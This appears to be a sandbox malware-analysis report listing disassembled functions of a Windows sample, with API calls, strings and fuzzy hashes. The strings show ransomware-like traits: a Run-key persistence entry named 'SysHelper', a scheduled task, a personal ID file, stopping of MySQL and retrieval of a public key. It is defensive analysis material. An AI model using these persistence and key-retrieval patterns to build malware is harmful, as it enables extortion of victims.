Function 00411B90 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 110stringcomCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00411BB0
CoCreateInstance.OLE32(004CE908,00000000,00000001,004CD568,00000000), ref: 00411BC8
CoUninitialize.OLE32 ref: 00411BD0
SHGetSpecialFolderLocation.SHELL32(00000000,00000007,?), ref: 00411C12
SHGetPathFromIDListW.SHELL32(?,?), ref: 00411C22
lstrcatW.KERNEL32(?,00500050), ref: 00411C3A
lstrcatW.KERNEL32(?), ref: 00411C44
GetSystemDirectoryW.KERNEL32(?,00000100), ref: 00411C68
lstrcatW.KERNEL32(?,\shell32.dll), ref: 00411C7A

Strings

\shell32.dll, xrefs: 00411C6E

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: lstrcat$CreateDirectoryFolderFromInitializeInstanceListLocationPathSpecialSystemUninitialize
String ID: \shell32.dll
API String ID: 679253221-3783449302
Opcode ID: 45e46fc2f9e137a48023c8b07f4e0b5fd5f09384ac33b8a62bbc2b8c253a451b
Instruction ID: 1ac700bd2dba931ae0f93f3cd35093afe8c3aec66b03df765643047a9f16b657
Opcode Fuzzy Hash: 45e46fc2f9e137a48023c8b07f4e0b5fd5f09384ac33b8a62bbc2b8c253a451b
Instruction Fuzzy Hash: 1D415E70A40209AFDB10CBA4DC88FEA7B7CEF44705F104499F609D7160D6B4AA45CB54

Function 004549A0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 107libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000001,?,00454B72), ref: 004549C7
GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 004549D7
GetDesktopWindow.USER32 ref: 004549FB
GetProcessWindowStation.USER32(?,00454B72), ref: 00454A01
GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?,?,00454B72), ref: 00454A1C
GetLastError.KERNEL32(?,00454B72), ref: 00454A2A
GetUserObjectInformationW.USER32(00000000,00000002,?,?,?,?,00454B72), ref: 00454A65
_wcsstr.LIBCMT ref: 00454A8A

Strings

_OPENSSL_isservice, xrefs: 004549D1
Service-0x, xrefs: 00454A80

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: InformationObjectUserWindow$AddressDesktopErrorHandleLastModuleProcProcessStation_wcsstr
String ID: Service-0x$_OPENSSL_isservice
API String ID: 2112994598-1672312481
Opcode ID: 839ece2f53d05b3d3a3b41915715d02d267126b8b76695ecb3f97597e52a1477
Instruction ID: a4b3c478c226dd270820e71b951499fe23bca8177d071b610c32d3665965eb2a
Opcode Fuzzy Hash: 839ece2f53d05b3d3a3b41915715d02d267126b8b76695ecb3f97597e52a1477
Instruction Fuzzy Hash: 04312831A401049BCB10DBBAEC46AAE7778DFC4325F10426BFC19D72E1EB349D148B58

Function 00454AE0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 75registrywindowCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F4,00454C16,%s(%d): OpenSSL internal error, assertion failed: %s,?,?,?,0045480E,.\crypto\cryptlib.c,00000253,pointer != NULL,?,00451D37,00000000,0040CDAE,00000001,00000001), ref: 00454AFA
GetFileType.KERNEL32(00000000,?,00451D37,00000000,0040CDAE,00000001,00000001), ref: 00454B05
__vfwprintf_p.LIBCMT ref: 00454B27

Part of subcall function 0042BDCC: _vfprintf_helper.LIBCMT ref: 0042BDDF

vswprintf.LIBCMT ref: 00454B5D
RegisterEventSourceA.ADVAPI32(00000000,OPENSSL), ref: 00454B7E
ReportEventA.ADVAPI32(00000000,00000001,00000000,00000000,00000000,00000001,00000000,?,00000000), ref: 00454BA2
DeregisterEventSource.ADVAPI32(00000000), ref: 00454BA9
MessageBoxA.USER32(00000000,?,OpenSSL: FATAL,00000010), ref: 00454BD3

Strings

OpenSSL: FATAL, xrefs: 00454BC7
OPENSSL, xrefs: 00454B77

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: Event$Source$DeregisterFileHandleMessageRegisterReportType__vfwprintf_p_vfprintf_helpervswprintf
String ID: OPENSSL$OpenSSL: FATAL
API String ID: 277090408-1348657634
Opcode ID: 48266b123bee2effe3eea144965b75bbd91e26d62acab2e3a1446f4d096604c6
Instruction ID: 2d266f03b07cc91b1361f4b715b0612335af4cc100d4b249efeb6d9ab3704f8b
Opcode Fuzzy Hash: 48266b123bee2effe3eea144965b75bbd91e26d62acab2e3a1446f4d096604c6
Instruction Fuzzy Hash: 74210D716443006BD770A761DC47FEF77D8EF94704F80482EF699861D1EAB89444875B

Function 00412360 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 61registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?), ref: 00412389
_memset.LIBCMT ref: 004123B6
RegQueryValueExW.ADVAPI32(?,SysHelper,00000000,00000001,?,00000400), ref: 004123DE
RegCloseKey.ADVAPI32(?), ref: 004123E7
GetCommandLineW.KERNEL32 ref: 004123F4
CommandLineToArgvW.SHELL32(00000000,00000000), ref: 004123FF
lstrcpyW.KERNEL32(?,00000000), ref: 0041240E
lstrcmpW.KERNEL32(?,?), ref: 00412422

Strings

Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 0041237F
SysHelper, xrefs: 004123D6

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: CommandLine$ArgvCloseOpenQueryValue_memsetlstrcmplstrcpy
String ID: Software\Microsoft\Windows\CurrentVersion\Run$SysHelper
API String ID: 122392481-4165002228
Opcode ID: ffdeb467f25692adb2f41c7a5be08654f874d2c95d3133ace75c87d70b3a0200
Instruction ID: c603cf62551caa9c06587f3e6ced3ee16b2371f56cdaae2afb18e0be874d4686
Opcode Fuzzy Hash: ffdeb467f25692adb2f41c7a5be08654f874d2c95d3133ace75c87d70b3a0200
Instruction Fuzzy Hash: D7112C7194020DABDF50DFA0DC89FEE77BCBB04705F0445A5F509E2151DBB45A889F94

Function 00425B6E Relevance: 16.6, APIs: 11, Instructions: 131COMMONLIBRARYCODE

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00425BF8
__lock.LIBCMT ref: 00425C0E
__copytlocinfo_nolock.LIBCMT ref: 00425C1F
__wsetlocale_nolock.LIBCMT ref: 00425C36
_wcscmp.LIBCMT ref: 00425C59
__lock.LIBCMT ref: 00425C70
__updatetlocinfoEx_nolock.LIBCMT ref: 00425C82
___removelocaleref.LIBCMT ref: 00425C88
__updatetlocinfoEx_nolock.LIBCMT ref: 00425CA7

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__wsetlocale_nolock_wcscmp
String ID:
API String ID: 1077091919-0
Opcode ID: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction ID: 0fe30f67420a0b57e0336c9221d2143c2ac41a82f10de3dc78134a272e9def7d
Opcode Fuzzy Hash: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction Fuzzy Hash: BE412932700724AFDB11AFA6B886B9E7BE0EF44318F90802FF51496282DB7D9544DB1D

Function 00418000 Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 344COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004180B9
_memmove.LIBCMT ref: 00418124
_memmove.LIBCMT ref: 004181A8
_memmove.LIBCMT ref: 00418221
_memmove.LIBCMT ref: 00418288
_memmove.LIBCMT ref: 004182C6
_memmove.LIBCMT ref: 00418305

Strings

invalid string position, xrefs: 00418342
string too long, xrefs: 00418338

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 72cc4f69e8dc9d7bd856fc9c1b9749c6ccd7664eafd668a19730564a7e917932
Instruction ID: bf4c3c4c16418921af35957e8a842e40232b78bc4dd53ff6fdc572851f10e90f
Opcode Fuzzy Hash: 72cc4f69e8dc9d7bd856fc9c1b9749c6ccd7664eafd668a19730564a7e917932
Instruction Fuzzy Hash: 4AC19F71700209EFDB18CF48C9819EE77A6EF85704B24492EE891CB741DB34ED968B99

Function 0040DAC0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 160comstringCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0040DAEB
CoCreateInstance.OLE32(004D4F6C,00000000,00000001,004D4F3C,?,?,004CA948,000000FF), ref: 0040DB0B
lstrcpyW.KERNEL32(?,?), ref: 0040DBD6
PathRemoveFileSpecW.SHLWAPI(?,?,?,?,?,?,004CA948,000000FF), ref: 0040DBE3
_memset.LIBCMT ref: 0040DC38
CoUninitialize.OLE32 ref: 0040DC92

Strings

Time Trigger Task, xrefs: 0040DB24, 0040DB34, 0040DB52
--Task, xrefs: 0040DBB5
Comment, xrefs: 0040DBFF

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: CreateFileInitializeInstancePathRemoveSpecUninitialize_memsetlstrcpy
String ID: --Task$Comment$Time Trigger Task
API String ID: 330603062-1376107329
Opcode ID: 4f76096c1bb55b8fd6772bfaf79823c9e02c83c8f45e810a8838bdd484e9cb7f
Instruction ID: 3ca8ca325a9fd4b6db29fab4a8cd6851ae340f1496bb62272076f21ffc706129
Opcode Fuzzy Hash: 4f76096c1bb55b8fd6772bfaf79823c9e02c83c8f45e810a8838bdd484e9cb7f
Instruction Fuzzy Hash: E051F670A40209AFDB00DF94CC99FAE7BB9FF88705F208469F505AB2A0DB75A945CF54

Function 00411A10 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 63servicesleepCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,00000001), ref: 00411A1D
OpenServiceW.ADVAPI32(00000000,MYSQL,00000020), ref: 00411A32
ControlService.ADVAPI32(00000000,00000001,?), ref: 00411A46
QueryServiceStatus.ADVAPI32(00000000,?), ref: 00411A5B
Sleep.KERNEL32(?), ref: 00411A75
QueryServiceStatus.ADVAPI32(00000000,?), ref: 00411A80
CloseServiceHandle.ADVAPI32(00000000), ref: 00411A9E
CloseServiceHandle.ADVAPI32(00000000), ref: 00411AA1

Strings

MYSQL, xrefs: 00411A2C

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: Service$CloseHandleOpenQueryStatus$ControlManagerSleep
String ID: MYSQL
API String ID: 2359367111-1651825290
Opcode ID: 692faa110e64916c7c56b6385ee5ad1bce035bf71229861a57ca5c091c1d7d7f
Instruction ID: 28721974f2ef8f77e49d09c1c1511d7c7b7ffc9f5d452c27f8aea73f5df61dea
Opcode Fuzzy Hash: 692faa110e64916c7c56b6385ee5ad1bce035bf71229861a57ca5c091c1d7d7f
Instruction Fuzzy Hash: 7F117735A01209ABDB209BD59D88FEF7FACEF45791F040122FB08D2250D728D985CAA8

Function 0044F26C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0044F27F

Part of subcall function 00430CFC: std::exception::_Copy_str.LIBCMT ref: 00430D15

__CxxThrowException@8.LIBCMT ref: 0044F294

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

std::exception::exception.LIBCMT ref: 0044F2AD
__CxxThrowException@8.LIBCMT ref: 0044F2C2
std::regex_error::regex_error.LIBCPMT ref: 0044F2D4

Part of subcall function 0044EF74: std::exception::exception.LIBCMT ref: 0044EF8E

__CxxThrowException@8.LIBCMT ref: 0044F2E2
std::exception::exception.LIBCMT ref: 0044F2FB
__CxxThrowException@8.LIBCMT ref: 0044F310

Strings

bad function call, xrefs: 0044F316

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strExceptionRaisestd::exception::_std::regex_error::regex_error
String ID: bad function call
API String ID: 2464034642-3612616537
Opcode ID: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction ID: b7a33952e270e61bb8336860f47bfa26d0287e47148adb1a9e07c7a629f44a3a
Opcode Fuzzy Hash: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction Fuzzy Hash: 60110A74D0020DBBCB04FFA5D566CDDBB7CEA04348F408A67BD2497241EB78A7498B99

Function 00465480 Relevance: 15.2, APIs: 7, Strings: 3, Instructions: 172COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,00000000,?,?,00000000), ref: 004654C8
GetLastError.KERNEL32(?,?,00000000), ref: 004654D4
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000,?,?,00000000), ref: 004654F7
GetLastError.KERNEL32(?,?,00000000), ref: 00465503
MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,?,00000000,?,?,00000000), ref: 00465531
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,?,00000008,?,00000000,?,?,00000000), ref: 0046555B
GetLastError.KERNEL32(.\crypto\bio\bss_file.c,000000A9,?,00000000,?,?,00000000), ref: 004655F5

Strings

.\crypto\bio\bss_file.c, xrefs: 004655F0, 0046562F, 00465640
fopen(', xrefs: 00465611
',', xrefs: 0046560B

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID: ','$.\crypto\bio\bss_file.c$fopen('
API String ID: 1717984340-2085858615
Opcode ID: 5bed85aa8c1b563afb7458887addcfa84ee938cd819de717f6d53dc9ad9ea7b7
Instruction ID: 21cfcf061b86b0f752f7d9b12bec731e5652c25b667fcf3b1ac9b742683446ef
Opcode Fuzzy Hash: 5bed85aa8c1b563afb7458887addcfa84ee938cd819de717f6d53dc9ad9ea7b7
Instruction Fuzzy Hash: 5A518E71B40704BBEB206B61DC47FBF7769AF05715F40012BFD05BA2C1E669490186AB

Function 0040C740 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 00420FDD: __wfsopen.LIBCMT ref: 00420FE8

_fgetws.LIBCMT ref: 0040C7BC
_memmove.LIBCMT ref: 0040C89F
CreateDirectoryW.KERNEL32(C:\SystemID,00000000), ref: 0040C94B

Strings

C:\SystemID\PersonalID.txt, xrefs: 0040C77C, 0040C956
C:\SystemID, xrefs: 0040C946

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: CreateDirectory__wfsopen_fgetws_memmove
String ID: C:\SystemID$C:\SystemID\PersonalID.txt
API String ID: 2864494435-54166481
Opcode ID: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction ID: 3a80d152ee3a33a632d987be3a831cd6f981e29f6d1810208bb328cacc5ceb60
Opcode Fuzzy Hash: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction Fuzzy Hash: 449193B2E00219DBCF20DFA5D9857AFB7B5AF04304F54463BE805B3281E7799A44CB99

Function 00412440 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 52processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(0000000F,00000000), ref: 0041244F
Process32FirstW.KERNEL32(00000000,0000022C), ref: 00412469
OpenProcess.KERNEL32(00000001,00000000,?), ref: 004124A1
TerminateProcess.KERNEL32(00000000,00000009), ref: 004124B0
CloseHandle.KERNEL32(00000000), ref: 004124B7
Process32NextW.KERNEL32(00000000,0000022C), ref: 004124C1
CloseHandle.KERNEL32(00000000), ref: 004124CD

Strings

cmd.exe, xrefs: 00412486

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
String ID: cmd.exe
API String ID: 2696918072-723907552
Opcode ID: 577ed8ed9705958fd2e422ac99cb6a94193351d2856dfe9262a659f2a85694a3
Instruction ID: b239e8364e8e77cb7af63d5752a1eab109cf3eb7ce5fcb3b526656d556a9da04
Opcode Fuzzy Hash: 577ed8ed9705958fd2e422ac99cb6a94193351d2856dfe9262a659f2a85694a3
Instruction Fuzzy Hash: ED0192355012157BE7206BA1AC89FAF766CEB08714F0400A2FD08D2141EA6489408EB9

Function 0040F310 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 311libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Shell32.dll), ref: 0040F338
GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 0040F353

Strings

\, xrefs: 0040F548
Shell32.dll, xrefs: 0040F32C
SHGetFolderPathW, xrefs: 0040F34D

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: SHGetFolderPathW$Shell32.dll$\
API String ID: 2574300362-2555811374
Opcode ID: be864d8308790b92be5507a70b6add5af3086b64f5ec129cc261dae8a5d69eb3
Instruction ID: 879cb2c41796572bb27552663435674e3d239ec9c812fe4031d18dca963833e9
Opcode Fuzzy Hash: be864d8308790b92be5507a70b6add5af3086b64f5ec129cc261dae8a5d69eb3
Instruction Fuzzy Hash: DFC15A70D00209EBDF10DFA4DD85BDEBBB5AF14308F10443AE405B7291EB79AA59CB99

Function 0040CBA0 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 0040CDDE
_malloc.LIBCMT ref: 0040CE12
_malloc.LIBCMT ref: 0040CE21
_fprintf.LIBCMT ref: 0040CE75

Strings

Error encrypting message: %s, xrefs: 0040CE67
\\n, xrefs: 0040CC1B
 , xrefs: 0040CCAF

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:  $Error encrypting message: %s$\\n
API String ID: 1783060780-3771355929
Opcode ID: 03c951cbcffbb22e4b904cab30c58fb638dd7e4556e50294ac70ee7de3450d71
Instruction ID: bc568b6946d652cfd5b4c77746d66a5f57144f99ddafb1662d710ebef24806c3
Opcode Fuzzy Hash: 03c951cbcffbb22e4b904cab30c58fb638dd7e4556e50294ac70ee7de3450d71
Instruction Fuzzy Hash: 10A196B1C00249EBEF10EF95DD46BDEBB75AF10308F54052DE40576282D7BA5688CBAA

Function 00463350 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 148COMMONLIBRARYCODE

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 00463382
_strncmp.LIBCMT ref: 004633C2

Strings

Proc-Type: , xrefs: 0046337C
DEK-Info: , xrefs: 00463422
ENCRYPTED, xrefs: 004633BC
.\crypto\pem\pem_lib.c, xrefs: 00463393, 004633D3, 00463407, 00463439, 00463491

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: _strncmp
String ID: .\crypto\pem\pem_lib.c$DEK-Info: $ENCRYPTED$Proc-Type:
API String ID: 909875538-2908105608
Opcode ID: ab3012ab59146815ebf28714d7aa14745dda8ec0f3d5ba1861611fdbbd5b6dc0
Instruction ID: 5da15f4c8f0622be9955200bbf206a62195e74188b9aea783317ae4bc8ba6fc6
Opcode Fuzzy Hash: ab3012ab59146815ebf28714d7aa14745dda8ec0f3d5ba1861611fdbbd5b6dc0
Instruction Fuzzy Hash: B7413EA1BC83C129F721592ABC03F9763854B51B17F080467FA88E52C3FB9D8987419F

Function 0040C6A0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion,00000000,000F003F,?), ref: 0040C6C2
RegQueryValueExW.ADVAPI32(00000000,SysHelper,00000000,00000004,?,?), ref: 0040C6F3
RegCloseKey.ADVAPI32(00000000), ref: 0040C700
RegSetValueExW.ADVAPI32(00000000,SysHelper,00000000,00000004,?,00000004), ref: 0040C725
RegCloseKey.ADVAPI32(00000000), ref: 0040C72E

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 0040C6B8
SysHelper, xrefs: 0040C6EB, 0040C71D

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: CloseValue$OpenQuery
String ID: Software\Microsoft\Windows\CurrentVersion$SysHelper
API String ID: 3962714758-1667468722
Opcode ID: 1b3e89e7960631348278952d172054be4d8a3531237e516afd507403cd6f8071
Instruction ID: 83d53c3b81c5c3826f22504a9cab54a14a7287ca0244f3776693af22b4817dfa
Opcode Fuzzy Hash: 1b3e89e7960631348278952d172054be4d8a3531237e516afd507403cd6f8071
Instruction Fuzzy Hash: 60112D7594020CFBDB109F91CC86FEEBB78EB04708F2041A5FA04B22A1D7B55B14AB58

Function 0041E6E8 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 44stringnetworkfileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041E707

Part of subcall function 0040C500: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C51B

InternetOpenW.WININET ref: 0041E743
_wcsstr.LIBCMT ref: 0041E7AE
_memmove.LIBCMT ref: 0041E838
lstrcpyW.KERNEL32(?,?), ref: 0041E90A
lstrcatW.KERNEL32(?,&first=false), ref: 0041E93D
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0041E954
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0041E96F
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041E98C
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041E9A3
lstrlenA.KERNEL32(?,00000000,00000000,000000FF), ref: 0041E9CD
InternetCloseHandle.WININET(00000000), ref: 0041E9F3
InternetCloseHandle.WININET(00000000), ref: 0041E9F6
_strstr.LIBCMT ref: 0041EA36
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EA59
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EA74
DeleteFileA.KERNEL32(?), ref: 0041EA82
lstrlenA.KERNEL32({"public_key":",00000000,000000FF), ref: 0041EA92
lstrcpyA.KERNEL32(?,?), ref: 0041EAA4
